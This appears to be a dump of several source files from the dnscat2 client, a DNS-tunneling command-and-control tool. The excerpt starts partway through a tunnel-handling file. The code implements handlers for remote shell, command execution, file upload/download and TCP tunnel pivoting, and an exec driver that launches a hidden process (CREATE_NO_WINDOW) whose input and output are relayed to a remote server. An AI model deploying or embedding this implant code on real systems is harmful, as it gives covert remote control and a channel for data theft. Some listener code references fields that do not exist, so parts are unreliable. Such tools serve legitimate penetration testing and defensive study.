95 LOG_WARNING("[Tunnel %d] connected to %s:%d!", tunnel->tunnel_id, tunnel->host, tunnel->port);
96
97 /* Queue up a packet letting the server know the connection is ready. */
98 out = command_packet_create_tunnel_connect_response(tunnel->connect_request_id, tunnel->tunnel_id);
99 send_and_free(tunnel->driver->outgoing_data, out);
100
101 return SELECT_OK;
102 }
103
104 static command_packet_t *handle_tunnel_connect(driver_command_t *driver, command_packet_t *in)
105 {
106 command_packet_t *out = NULL;
107 tunnel_t *tunnel = NULL;
108
109 if(!in->is_request)
110 return NULL;
111
112 /* Set up the tunnel object. */
113 tunnel = (tunnel_t*)safe_malloc(sizeof(tunnel_t));
114 tunnel->tunnel_id = g_tunnel_id++;
115 tunnel->connect_request_id = in->request_id;
116 tunnel->driver = driver;
117 tunnel->host = safe_strdup(in->r.request.body.tunnel_connect.host);
118 tunnel->port = in->r.request.body.tunnel_connect.port;
119 LOG_WARNING("[Tunnel %d] connecting to %s:%d...", tunnel->tunnel_id, tunnel->host, tunnel->port);
120
121 /* Do the actual connection. */
122 tunnel->s = tcp_connect_options(in->r.request.body.tunnel_connect.host, in->r.request.body.tunnel_connect.port, TRUE);
123
124 if(tunnel->s == -1)
125 {
126 out = command_packet_create_error_response(in->request_id, TUNNEL_STATUS_FAIL, "The dnscat2 client couldn't connect to the remote host!");
127 }
128 else
129 {
130 /* Add the driver to the global list. */
131 ll_add(driver->tunnels, ll_32(tunnel->tunnel_id), tunnel);
132
133 /* Add the socket to the socket_group and set up various callbacks. */
134 select_group_add_socket(driver->group, tunnel->s, SOCKET_TYPE_STREAM, tunnel);
135 select_set_recv(driver->group, tunnel->s, tunnel_data_in);
136 select_set_closed(driver->group, tunnel->s, tunnel_closed);
137 select_set_ready(driver->group, tunnel->s, tunnel_ready);
138 select_set_error(driver->group, tunnel->s, tunnel_error);
139
140 /* Don't respond to the packet... yet! */
141 out = NULL;
142 }
143
144 return out;
145 }
146
147 static command_packet_t *handle_tunnel_data(driver_command_t *driver, command_packet_t *in)
148 {
149 /* TODO: Find socket by tunnel_id */
150 tunnel_t *tunnel = (tunnel_t *)ll_find(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id));
151 if(!tunnel)
152 {
153 LOG_ERROR("Couldn't find tunnel: %d", in->r.request.body.tunnel_data.tunnel_id);
154 return NULL;
155 }
156
157 LOG_INFO("[Tunnel %d] Received %zd bytes of data from client; forwarding to server", tunnel->tunnel_id, in->r.request.body.tunnel_data.length);
158 tcp_send(tunnel->s, in->r.request.body.tunnel_data.data, in->r.request.body.tunnel_data.length);
159
160 return NULL;
161 }
162
163 static command_packet_t *handle_tunnel_close(driver_command_t *driver, command_packet_t *in)
164 {
165 tunnel_t *tunnel = (tunnel_t *)ll_remove(driver->tunnels, ll_32(in->r.request.body.tunnel_data.tunnel_id));
166
167 if(!tunnel)
168 {
169 LOG_ERROR("The server tried to close a tunnel that we don't know about: %d", in->r.request.body.tunnel_data.tunnel_id);
170 return NULL;
171 }
172
173 LOG_WARNING("[Tunnel %d] connection to %s:%d closed by the client: %s", tunnel->tunnel_id, tunnel->host, tunnel->port, in->r.request.body.tunnel_close.reason);
174
175 select_group_remove_socket(driver->group, tunnel->s);
176 tcp_close(tunnel->s);
177 safe_free(tunnel->host);
178 safe_free(tunnel);
179
180 return NULL;
181 }
182
0 /* driver_command.c
1 * By Ron Bowes
2 * Created May, 2014
3 *
4 * See LICENSE.md
5 */
6
7 #include <assert.h>
8 #include <stdio.h>
9 #include <stdlib.h>
10 #include <string.h>
11 #include <sys/types.h>
12 #include <sys/stat.h>
13
14 #ifndef WIN32
15 #include <unistd.h>
16 #endif
17
18 #include "command_packet.h"
19 #include "controller/session.h"
20 #include "controller/controller.h"
21 #include "drivers/driver_exec.h"
22 #include "libs/log.h"
23 #include "libs/memory.h"
24 #include "libs/select_group.h"
25 #include "libs/tcp.h"
26 #include "libs/types.h"
27
28 #include "driver_command.h"
29
30 static uint16_t request_id()
31 {
32 static uint16_t request_id = 0;
33
34 return request_id++;
35 }
36
37 /* I moved some functions into other files for better organization;
38 * this includes them. */
39 #include "commands_standard.h"
40 #include "commands_tunnel.h"
41
42 void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length)
43 {
44 command_packet_t *in = NULL;
45 command_packet_t *out = NULL;
46
47 buffer_add_bytes(driver->stream, data, length);
48
49 while((in = command_packet_read(driver->stream)))
50 {
51 /* TUNNEL_DATA commands are too noisy to print. */
52 if(in->command_id != TUNNEL_DATA)
53 {
54 printf("Got a command: ");
55 command_packet_print(in);
56 }
57
58 switch(in->command_id)
59 {
60 case COMMAND_PING:
61 out = handle_ping(driver, in);
62 break;
63
64 case COMMAND_SHELL:
65 out = handle_shell(driver, in);
66 break;
67
68 case COMMAND_EXEC:
69 out = handle_exec(driver, in);
70 break;
71
72 case COMMAND_DOWNLOAD:
73 out = handle_download(driver, in);
74 break;
75
76 case COMMAND_UPLOAD:
77 out = handle_upload(driver, in);
78 break;
79
80 case COMMAND_SHUTDOWN:
81 out = handle_shutdown(driver, in);
82 break;
83
84 case COMMAND_DELAY:
85 out = handle_delay(driver, in);
86 break;
87
88 case TUNNEL_CONNECT:
89 out = handle_tunnel_connect(driver, in);
90 break;
91
92 case TUNNEL_DATA:
93 out = handle_tunnel_data(driver, in);
94 break;
95
96 case TUNNEL_CLOSE:
97 out = handle_tunnel_close(driver, in);
98 break;
99
100 case COMMAND_ERROR:
101 out = handle_error(driver, in);
102 break;
103
104 default:
105 LOG_ERROR("Got a command packet that we don't know how to handle!\n");
106 out = command_packet_create_error_response(in->request_id, 0xFFFF, "Not implemented yet!");
107 }
108
109 /* Respond if and only if an outgoing packet was created. */
110 if(out)
111 {
112 uint8_t *data;
113 size_t length;
114
115 if(out->command_id != TUNNEL_DATA)
116 {
117 printf("Response: ");
118 command_packet_print(out);
119 }
120
121 data = command_packet_to_bytes(out, &length);
122 buffer_add_bytes(driver->outgoing_data, data, length);
123 safe_free(data);
124 command_packet_destroy(out);
125 }
126 command_packet_destroy(in);
127 }
128 }
129
130 uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length)
131 {
132 /* If the driver has been killed and we have no bytes left, return NULL to close the session. */
133 if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0)
134 return NULL;
135
136 return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE);
137 }
138
139 driver_command_t *driver_command_create(select_group_t *group)
140 {
141 driver_command_t *driver = (driver_command_t*) safe_malloc(sizeof(driver_command_t));
142
143 driver->stream = buffer_create(BO_BIG_ENDIAN);
144 driver->group = group;
145 driver->is_shutdown = FALSE;
146 driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN);
147 driver->tunnels = ll_create(NULL);
148
149 return driver;
150 }
151
152 void driver_command_destroy(driver_command_t *driver)
153 {
154 if(!driver->is_shutdown)
155 driver_command_close(driver);
156
157 if(driver->name)
158 safe_free(driver->name);
159
160 if(driver->stream)
161 buffer_destroy(driver->stream);
162 safe_free(driver);
163 }
164
165 void driver_command_close(driver_command_t *driver)
166 {
167 driver->is_shutdown = TRUE;
168 }
0 /* driver_command.h
1 * By Ron Bowes
2 * Created May, 2014
3 *
4 * See LICENSE.md
5 */
6
7 #ifndef __DRIVER_command_H__
8 #define __DRIVER_command_H__
9
10 #include "command_packet.h"
11 #include "libs/ll.h"
12 #include "libs/select_group.h"
13 #include "libs/types.h"
14
15 typedef struct
16 {
17 char *name;
18 uint16_t session_id;
19 buffer_t *stream;
20 select_group_t *group;
21 buffer_t *outgoing_data;
22 NBBOOL is_shutdown;
23 ll_t *tunnels;
24 } driver_command_t;
25
26 driver_command_t *driver_command_create(select_group_t *group);
27 void driver_command_destroy(driver_command_t *driver);
28 void driver_command_data_received(driver_command_t *driver, uint8_t *data, size_t length);
29 uint8_t *driver_command_get_outgoing(driver_command_t *driver, size_t *length, size_t max_length);
30 void driver_command_close(driver_command_t *driver);
31
32 #endif
0 /* driver.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifndef WIN32
12 #include <unistd.h>
13 #endif
14
15 #include "libs/log.h"
16 #include "libs/memory.h"
17 #include "driver_console.h"
18
19 #include "driver.h"
20
21 driver_t *driver_create(driver_type_t type, void *real_driver)
22 {
23 driver_t *driver = (driver_t *)safe_malloc(sizeof(driver_t));
24 driver->type = type;
25
26 switch(type)
27 {
28 case DRIVER_TYPE_CONSOLE:
29 driver->real_driver.console = (driver_console_t*) real_driver;
30 break;
31
32 case DRIVER_TYPE_EXEC:
33 driver->real_driver.exec = (driver_exec_t*) real_driver;
34 break;
35
36 case DRIVER_TYPE_COMMAND:
37 driver->real_driver.command = (driver_command_t*) real_driver;
38 break;
39
40 case DRIVER_TYPE_PING:
41 driver->real_driver.ping = (driver_ping_t*) real_driver;
42 break;
43
44 default:
45 LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_create)\n", type);
46 exit(1);
47 break;
48 }
49
50 return driver;
51 }
52
53 void driver_destroy(driver_t *driver)
54 {
55 switch(driver->type)
56 {
57 case DRIVER_TYPE_CONSOLE:
58 driver_console_destroy(driver->real_driver.console);
59 break;
60
61 case DRIVER_TYPE_EXEC:
62 driver_exec_destroy(driver->real_driver.exec);
63 break;
64
65 case DRIVER_TYPE_COMMAND:
66 driver_command_destroy(driver->real_driver.command);
67 break;
68
69 case DRIVER_TYPE_PING:
70 driver_ping_destroy(driver->real_driver.ping);
71 break;
72
73 default:
74 LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_destroy)\n", driver->type);
75 exit(1);
76 break;
77 }
78
79 safe_free(driver);
80 }
81
82 void driver_close(driver_t *driver)
83 {
84 switch(driver->type)
85 {
86 case DRIVER_TYPE_CONSOLE:
87 driver_console_close(driver->real_driver.console);
88 break;
89
90 case DRIVER_TYPE_EXEC:
91 driver_exec_close(driver->real_driver.exec);
92 break;
93
94 case DRIVER_TYPE_COMMAND:
95 driver_command_close(driver->real_driver.command);
96 break;
97
98 case DRIVER_TYPE_PING:
99 driver_ping_close(driver->real_driver.ping);
100 break;
101
102 default:
103 LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_close)\n", driver->type);
104 exit(1);
105 break;
106 }
107 }
108
109 void driver_data_received(driver_t *driver, uint8_t *data, size_t length)
110 {
111 switch(driver->type)
112 {
113 case DRIVER_TYPE_CONSOLE:
114 driver_console_data_received(driver->real_driver.console, data, length);
115 break;
116
117 case DRIVER_TYPE_EXEC:
118 driver_exec_data_received(driver->real_driver.exec, data, length);
119 break;
120
121 case DRIVER_TYPE_COMMAND:
122 driver_command_data_received(driver->real_driver.command, data, length);
123 break;
124
125 case DRIVER_TYPE_PING:
126 driver_ping_data_received(driver->real_driver.ping, data, length);
127 break;
128
129 default:
130 LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_data_received)\n", driver->type);
131 exit(1);
132 break;
133 }
134 }
135
136 uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length)
137 {
138 switch(driver->type)
139 {
140 case DRIVER_TYPE_CONSOLE:
141 return driver_console_get_outgoing(driver->real_driver.console, length, max_length);
142 break;
143
144 case DRIVER_TYPE_EXEC:
145 return driver_exec_get_outgoing(driver->real_driver.exec, length, max_length);
146 break;
147
148 case DRIVER_TYPE_COMMAND:
149 return driver_command_get_outgoing(driver->real_driver.command, length, max_length);
150 break;
151
152 case DRIVER_TYPE_PING:
153 return driver_ping_get_outgoing(driver->real_driver.ping, length, max_length);
154 break;
155
156 default:
157 LOG_FATAL("UNKNOWN DRIVER TYPE! (%d in driver_get_outgoing)\n", driver->type);
158 exit(1);
159 break;
160 }
161 }
162
0 /* driver.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This is basically a hack to make a polymorphic class in C. It just lets
6 * other stuff call functions, and passes it to the appropriate implementation.
7 */
8
9 #ifndef __DRIVER_H__
10 #define __DRIVER_H__
11
12 #include "driver_console.h"
13 #include "driver_exec.h"
14 #include "driver_ping.h"
15 #include "drivers/command/driver_command.h"
16
17 typedef enum
18 {
19 DRIVER_TYPE_CONSOLE,
20 DRIVER_TYPE_EXEC,
21 DRIVER_TYPE_COMMAND,
22 DRIVER_TYPE_PING,
23 } driver_type_t;
24
25 typedef struct
26 {
27 driver_type_t type;
28
29 union
30 {
31 driver_console_t *console;
32 driver_exec_t *exec;
33 driver_command_t *command;
34 driver_ping_t *ping;
35 } real_driver;
36 } driver_t;
37
38 driver_t *driver_create(driver_type_t type, void *real_driver);
39 void driver_destroy(driver_t *driver);
40 void driver_close(driver_t *driver);
41 void driver_data_received(driver_t *driver, uint8_t *data, size_t length);
42 uint8_t *driver_get_outgoing(driver_t *driver, size_t *length, size_t max_length);
43
44 #endif
0 /* driver_console.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifndef WIN32
12 #include <unistd.h>
13 #endif
14
15 #include "libs/buffer.h"
16 #include "libs/log.h"
17 #include "libs/memory.h"
18 #include "libs/select_group.h"
19 #include "libs/types.h"
20
21 #include "driver_console.h"
22
23 /* There can only be one driver_console, so store these as global variables. */
24 static SELECT_RESPONSE_t console_stdin_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *d)
25 {
26 driver_console_t *driver = (driver_console_t*) d;
27
28 buffer_add_bytes(driver->outgoing_data, data, length);
29
30 return SELECT_OK;
31 }
32
33 static SELECT_RESPONSE_t console_stdin_closed(void *group, int socket, void *d)
34 {
35 /* When the stdin pipe is closed, the stdin driver signals the end. */
36 driver_console_t *driver = (driver_console_t*) d;
37
38 /* Record that we've been shut down - we'll continue reading to the end of the buffer, still. */
39 driver->is_shutdown = TRUE;
40
41 return SELECT_CLOSE_REMOVE;
42 }
43
44 void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length)
45 {
46 size_t i;
47
48 for(i = 0; i < length; i++)
49 fputc(data[i], stdout);
50 }
51
52 uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length)
53 {
54 /* If the driver has been killed and we have no bytes left, return NULL to close the session. */
55 if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0)
56 return NULL;
57
58 return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE);
59 }
60
61 driver_console_t *driver_console_create(select_group_t *group)
62 /*, char *name, char *download, int first_chunk)*/
63 {
64 driver_console_t *driver = (driver_console_t*) safe_malloc(sizeof(driver_console_t));
65 #ifdef WIN32
66 HANDLE stdin_handle = get_stdin_handle();
67 #endif
68
69 driver->group = group;
70 driver->is_shutdown = FALSE;
71 driver->outgoing_data = buffer_create(BO_LITTLE_ENDIAN);
72
73 #ifdef WIN32
74 /* On Windows, the stdin_handle is quite complicated, and involves a sub-thread. */
75 select_group_add_pipe(group, -1, stdin_handle, driver);
76 select_set_recv(group, -1, console_stdin_recv);
77 select_set_closed(group, -1, console_stdin_closed);
78 #else
79 /* On Linux, the stdin_handle is easy. */
80 int stdin_handle = STDIN_FILENO;
81 select_group_add_socket(group, stdin_handle, SOCKET_TYPE_STREAM, driver);
82 select_set_recv(group, stdin_handle, console_stdin_recv);
83 select_set_closed(group, stdin_handle, console_stdin_closed);
84 #endif
85
86 return driver;
87 }
88
89 void driver_console_destroy(driver_console_t *driver)
90 {
91 if(!driver->is_shutdown)
92 driver_console_close(driver);
93 safe_free(driver);
94 }
95
96 void driver_console_close(driver_console_t *driver)
97 {
98 driver->is_shutdown = TRUE;
99 }
0 /* driver_console.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This implements a simple i/o driver that acts on the console and lets
6 * the user send messages to the server by typing them. It's kinda fun to see
7 * your messages flying over DNS, and this is great for testing or for
8 * demonstrating how to make drivers, but its ultimate utility isn't that
9 * useful.
10 */
11
12 #ifndef __DRIVER_CONSOLE_H__
13 #define __DRIVER_CONSOLE_H__
14
15 #include "libs/buffer.h"
16 #include "libs/select_group.h"
17
18 typedef struct
19 {
20 select_group_t *group;
21 buffer_t *outgoing_data;
22 NBBOOL is_shutdown;
23 } driver_console_t;
24
25 driver_console_t *driver_console_create(select_group_t *group);
26 void driver_console_destroy(driver_console_t *driver);
27 void driver_console_data_received(driver_console_t *driver, uint8_t *data, size_t length);
28 uint8_t *driver_console_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length);
29 void driver_console_close(driver_console_t *driver);
30
31 #endif
0 /* driver_exec.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <errno.h>
8 #include <stdio.h>
9 #include <stdlib.h>
10 #include <string.h>
11
12 #ifndef WIN32
13 #include <unistd.h>
14 #include <sys/types.h>
15 #include <signal.h>
16 #endif
17
18 #include "libs/buffer.h"
19 #include "libs/log.h"
20 #include "libs/memory.h"
21 #include "libs/select_group.h"
22 #include "libs/types.h"
23
24 #include "driver_exec.h"
25
26 #define PIPE_READ 0
27 #define PIPE_WRITE 1
28
29 #ifndef WIN32
30 /* This is necessary for some systems... see:
31 * https://github.com/iagox86/dnscat2/issues/61
32 */
33 int kill(pid_t pid, int sig);
34 #endif
35
36 static SELECT_RESPONSE_t exec_callback(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *param)
37 {
38 driver_exec_t *driver = (driver_exec_t*) param;
39
40 buffer_add_bytes(driver->outgoing_data, data, length);
41
42 return SELECT_OK;
43 }
44
45 static SELECT_RESPONSE_t exec_closed_callback(void *group, int socket, void *d)
46 {
47 /* When the stdin pipe is closed, the stdin driver signals the end. */
48 driver_exec_t *driver = (driver_exec_t*) d;
49
50 /* Record that we've been shut down - we'll continue reading to the end of the buffer, still. */
51 driver->is_shutdown = TRUE;
52
53 return SELECT_CLOSE_REMOVE;
54 }
55
56 void driver_exec_data_received(driver_exec_t *driver, uint8_t *data, size_t length)
57 {
58 #ifdef WIN32
59 DWORD written;
60 WriteFile(driver->exec_stdin[PIPE_WRITE], data, (DWORD)length, &written, NULL);
61 #else
62 if(write(driver->pipe_stdin[PIPE_WRITE], data, length) != length)
63 LOG_ERROR("There was a problem writing data. :(");
64 #endif
65 }
66
67 uint8_t *driver_exec_get_outgoing(driver_exec_t *driver, size_t *length, size_t max_length)
68 {
69 /* If the driver has been killed and we have no bytes left, return NULL to close the session. */
70 if(driver->is_shutdown && buffer_get_remaining_bytes(driver->outgoing_data) == 0)
71 return NULL;
72
73 return buffer_read_remaining_bytes(driver->outgoing_data, length, max_length, TRUE);
74 }
75
76 driver_exec_t *driver_exec_create(select_group_t *group, char *process)
77 {
78 driver_exec_t *driver = (driver_exec_t*) safe_malloc(sizeof(driver_exec_t));
79
80 /* Declare some WIN32 variables needed for starting the sub-process. */
81 #ifdef WIN32
82 STARTUPINFOA startupInfo;
83 PROCESS_INFORMATION processInformation;
84 SECURITY_ATTRIBUTES sa;
85 #endif
86
87 driver->process = process;
88 driver->group = group;
89 driver->outgoing_data = buffer_create(BO_BIG_ENDIAN);
90
91 #ifdef WIN32
92 /* Create a security attributes structure. This is required to inherit handles. */
93 ZeroMemory(&sa, sizeof(SECURITY_ATTRIBUTES));
94 sa.nLength = sizeof(SECURITY_ATTRIBUTES);
95 sa.lpSecurityDescriptor = NULL;
96 sa.bInheritHandle = TRUE;
97
98 /* Create the anonymous pipes. */
99 if(!CreatePipe(&driver->exec_stdin[PIPE_READ], &driver->exec_stdin[PIPE_WRITE], &sa, 0))
100 DIE("exec: Couldn't create pipe for stdin");
101 if(!CreatePipe(&driver->exec_stdout[PIPE_READ], &driver->exec_stdout[PIPE_WRITE], &sa, 0))
102 DIE("exec: Couldn't create pipe for stdout");
103
104 fprintf(stderr, "Attempting to load the program: %s\n", driver->process);
105
106 /* Initialize the STARTUPINFO structure. */
107 ZeroMemory(&startupInfo, sizeof(STARTUPINFO));
108 startupInfo.cb = sizeof(STARTUPINFO);
109 startupInfo.dwFlags = STARTF_USESTDHANDLES;
110 startupInfo.hStdInput = driver->exec_stdin[PIPE_READ];
111 startupInfo.hStdOutput = driver->exec_stdout[PIPE_WRITE];
112 startupInfo.hStdError = driver->exec_stdout[PIPE_WRITE];
113
114 /* Initialize the PROCESS_INFORMATION structure. */
115 ZeroMemory(&processInformation, sizeof(PROCESS_INFORMATION));
116
117 /* Create the actual process with an overly-complicated CreateProcess function. */
118 if(!CreateProcessA(NULL, driver->process, 0, &sa, TRUE, CREATE_NO_WINDOW, 0, NULL, &startupInfo, &processInformation))
119 {
120 fprintf(stderr, "Failed to create the process");
121 exit(1);
122 }
123
124 /* Save the process id and the handle. */
125 driver->pid = processInformation.dwProcessId;
126 driver->exec_handle = processInformation.hProcess;
127
128 /* Close the duplicate pipes we created -- this lets us detect the proicess termination. */
129 CloseHandle(driver->exec_stdin[PIPE_READ]);
130 CloseHandle(driver->exec_stdout[PIPE_WRITE]);
131 CloseHandle(driver->exec_stdout[PIPE_WRITE]);
132
133 fprintf(stderr, "Successfully created the process!\n\n");
134
135 /* Create a socket_id value - this is a totally arbitrary value that's only used so we can find this entry later. */
136 driver->socket_id = --driver->socket_id;
137
138 /* On Windows, add the sub-process's stdout as a pipe. */
139 select_group_add_pipe(driver->group, driver->socket_id, driver->exec_stdout[PIPE_READ], driver);
140 select_set_recv(driver->group, driver->socket_id, exec_callback);
141 select_set_closed(driver->group, driver->socket_id, exec_closed_callback);
142 #else
143 LOG_WARNING("Starting: /bin/sh -c '%s'", driver->process);
144
145 /* Create communication channels. */
146 if(pipe(driver->pipe_stdin) == -1)
147 {
148 LOG_FATAL("exec: couldn't create pipe (%d)", errno);
149 exit(1);
150 }
151
152 if(pipe(driver->pipe_stdout) == -1)
153 {
154 LOG_FATAL("exec: couldn't create pipe (%d)", errno);
155 exit(1);
156 }
157
158 driver->pid = fork();
159
160 if(driver->pid == -1)
161 {
162 LOG_FATAL("exec: couldn't create process (%d)", errno);
163 exit(1);
164 }
165
166 /* If we're in the child process... */
167 if(driver->pid == 0)
168 {
169 /* Copy the pipes. */
170 if(dup2(driver->pipe_stdin[PIPE_READ], STDIN_FILENO) == -1)
171 nbdie("exec: couldn't duplicate STDIN handle");
172
173 if(dup2(driver->pipe_stdout[PIPE_WRITE], STDOUT_FILENO) == -1)
174 nbdie("exec: couldn't duplicate STDOUT handle");
175
176 if(dup2(driver->pipe_stdout[PIPE_WRITE], STDERR_FILENO) == -1)
177 nbdie("exec: couldn't duplicate STDERR handle");
178
179 /* Execute the new process. */
180 execlp("/bin/sh", "sh", "-c", driver->process, (char*) NULL);
181
182 /* If execlp returns, bad stuff happened. */
183 LOG_FATAL("exec: execlp failed (%d)", errno);
184 exit(1);
185 }
186
187 LOG_WARNING("Started: %s (pid: %d)", driver->process, driver->pid);
188 close(driver->pipe_stdin[PIPE_READ]);
189 close(driver->pipe_stdout[PIPE_WRITE]);
190
191 /* Add the sub-process's stdout as a socket. */
192 select_group_add_socket(driver->group, driver->pipe_stdout[PIPE_READ], SOCKET_TYPE_STREAM, driver);
193 select_set_recv(driver->group, driver->pipe_stdout[PIPE_READ], exec_callback);
194 select_set_closed(driver->group, driver->pipe_stdout[PIPE_READ], exec_closed_callback);
195 #endif
196
197 return driver;
198 }
199
200 void driver_exec_destroy(driver_exec_t *driver)
201 {
202 if(!driver->is_shutdown)
203 driver_exec_close(driver);
204 safe_free(driver);
205 }
206
207 void driver_exec_close(driver_exec_t *driver)
208 {
209 LOG_WARNING("exec driver shut down; killing process %d", driver->pid);
210 #ifdef WIN32
211 TerminateProcess(driver->exec_handle, SIGINT);
212 #else
213 kill(driver->pid, SIGINT);
214 #endif
215 driver->is_shutdown = TRUE;
216 }
0 /* driver_exec.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * Implements an i/o driver that executes a process, and tunnels the
6 * stdout/stdin/stderr through the socket to the server. As far as the
7 * server is aware, it's indistinguishable from a console (since it's
8 * simply text going in and out).
9 */
10
11 #ifndef __DRIVER_EXEC_H__
12 #define __DRIVER_EXEC_H__
13
14 #include <sys/types.h>
15
16 #include "libs/buffer.h"
17 #include "libs/select_group.h"
18
19 typedef struct
20 {
21 char *process;
22 select_group_t *group;
23 buffer_t *outgoing_data;
24 NBBOOL is_shutdown;
25
26 #ifdef WIN32
27 HANDLE exec_stdin[2]; /* The stdin handle. */
28 HANDLE exec_stdout[2]; /* The stdout handle. */
29 DWORD pid; /* Process id. */
30 HANDLE exec_handle; /* Handle to the executing process. */
31 int socket_id; /* An arbitrary number that identifies the socket. */
32 #else
33 int pipe_stdin[2];
34 int pipe_stdout[2];
35 pid_t pid;
36 #endif
37 } driver_exec_t;
38
39 driver_exec_t *driver_exec_create(select_group_t *group, char *process);
40 void driver_exec_destroy(driver_exec_t *driver);
41 void driver_exec_data_received(driver_exec_t *driver, uint8_t *data, size_t length);
42 uint8_t *driver_exec_get_outgoing(driver_exec_t *driver, size_t *length, size_t max_length);
43 void driver_exec_close(driver_exec_t *driver);
44
45 #endif
0 /* driver_listener.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifndef WIN32
12 #include <unistd.h>
13 #endif
14
15 #include "libs/log.h"
16 #include "libs/memory.h"
17 #include "libs/select_group.h"
18 #include "libs/tcp.h"
19 #include "libs/types.h"
20
21 #include "driver_listener.h"
22
23 typedef struct _listener_client_t
24 {
25 int s;
26 char *address;
27 uint16_t port;
28 uint16_t id;
29 driver_listener_t *driver;
30
31 struct _listener_client_t *next;
32 } client_entry_t;
33
34 static uint32_t tunnel_id = 0;
35 static client_entry_t *first_client = NULL;
36
37 static SELECT_RESPONSE_t client_recv(void *group, int socket, uint8_t *data, size_t length, char *addr, uint16_t port, void *c)
38 {
39 client_entry_t *client = (client_entry_t*) c;
40
41 return SELECT_OK;
42 }
43
44 static SELECT_RESPONSE_t client_closed(void *group, int socket, void *c)
45 {
46 client_entry_t *client = (client_entry_t*) c;
47
48 message_post_close_session(client->session_id);
49
50 /* TODO: Unlink it from the entry list. */
51
52 return SELECT_CLOSE_REMOVE;
53 }
54
55 static SELECT_RESPONSE_t listener_closed(void *group, int socket, void *c)
56 {
57 LOG_FATAL("Listener socket went away!");
58 exit(1);
59
60 return SELECT_CLOSE_REMOVE;
61 }
62
63 static SELECT_RESPONSE_t listener_accept(void *group, int s, void *d)
64 {
65 driver_listener_t *driver = (driver_listener_t*) d;
66 client_entry_t *client = safe_malloc(sizeof(client_entry_t));
67
68 client->s = tcp_accept(s, &client->address, &client->port);
69
70 client->driver = driver;
71 client->next = first_client;
72 first_client = client;
73
74 LOG_WARNING("Received a connection from %s:%d (created session %d)", client->address, client->port, client->session_id);
75
76 select_group_add_socket(group, client->s, SOCKET_TYPE_STREAM, client);
77 select_set_recv(group, client->s, client_recv);
78 select_set_closed(group, client->s, client_closed);
79
80 return SELECT_OK;
81 }
82
83 uint8_t *driver_listener_get_outgoing(driver_console_t *driver, size_t *length, size_t max_length)
84 {
85 return NULL;
86 }
87
88 driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name)
89 {
90 driver_listener_t *driver = (driver_listener_t*) safe_malloc(sizeof(driver_listener_t));
91
92 driver->group = group;
93 driver->host = host;
94 driver->port = port;
95 driver->s = tcp_listen(driver->host, driver->port);
96
97 if(!driver->s)
98 {
99 LOG_FATAL("Failed to listen on %s:%d", driver->host, driver->port);
100 exit(1);
101 }
102
103 /* On Linux, the stdin_handle is easy. */
104 select_group_add_socket(driver->group, driver->s, SOCKET_TYPE_LISTEN, driver);
105 select_set_listen(driver->group, driver->s, listener_accept);
106 select_set_closed(driver->group, driver->s, listener_closed);
107
108 return driver;
109 }
110
111 void driver_listener_destroy(driver_listener_t *driver)
112 {
113 safe_free(driver);
114 }
0 /* driver_listener.h
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 *
5 * This isn't used yet.
6 *
7 * TODO: Update the docs when it is :)
8 */
9
10 #ifndef __DRIVER_LISTENER_H__
11 #define __DRIVER_LISTENER_H__
12
13 #include "select_group.h"
14 #include "session.h"
15
16 typedef struct
17 {
18 int s;
19 select_group_t *group;
20 char *host;
21 char *name;
22 uint16_t port;
23 } driver_listener_t;
24
25 driver_listener_t *driver_listener_create(select_group_t *group, char *host, int port, char *name);
26 void driver_listener_destroy();
27
28 #endif
0 /* driver_ping.c
1 * By Ron Bowes
2 *
3 * See LICENSE.md
4 */
5
6 #include <assert.h>
7 #include <stdio.h>
8 #include <stdlib.h>
9 #include <string.h>
10
11 #ifndef WIN32
12 #include <unistd.h>
13 #endif
14
15 #include "libs/log.h"
16 #include "libs/memory.h"
17 #include "libs/select_group.h"
18 #include "libs/types.h"
19
20 #include "driver_ping.h"
21
22 #define PING_LENGTH 16
23
24 void driver_ping_data_received(driver_ping_t *driver, uint8_t *data, size_t length)
25 {
26 if(!strcmp((char*)data, (char*)driver->data))
27 {
28 printf("Ping response received! This seems like a valid dnscat2 server.\n");
29
30 exit(0);
31 }
32 else
33 {
34 printf("Ping response received, but it didn't contain the right data!\n");
35 printf("Expected: %s\n", driver->data);
36 printf("Received: %s\n", data);
37 printf("\n");
38 printf("The only reason this can happen is if something is messing with\n");
39 printf("your DNS traffic.\n");
40 }
41 }
42
43 uint8_t *driver_ping_get_outgoing(driver_ping_t *driver, size_t *length, size_t max_length)
44 {
45 static NBBOOL already_sent = FALSE;
46 uint8_t *result = NULL;
47
48 /* Only return this once. */
49 if(already_sent) {
50 *length = 0;
51 return safe_malloc(0);
52 }
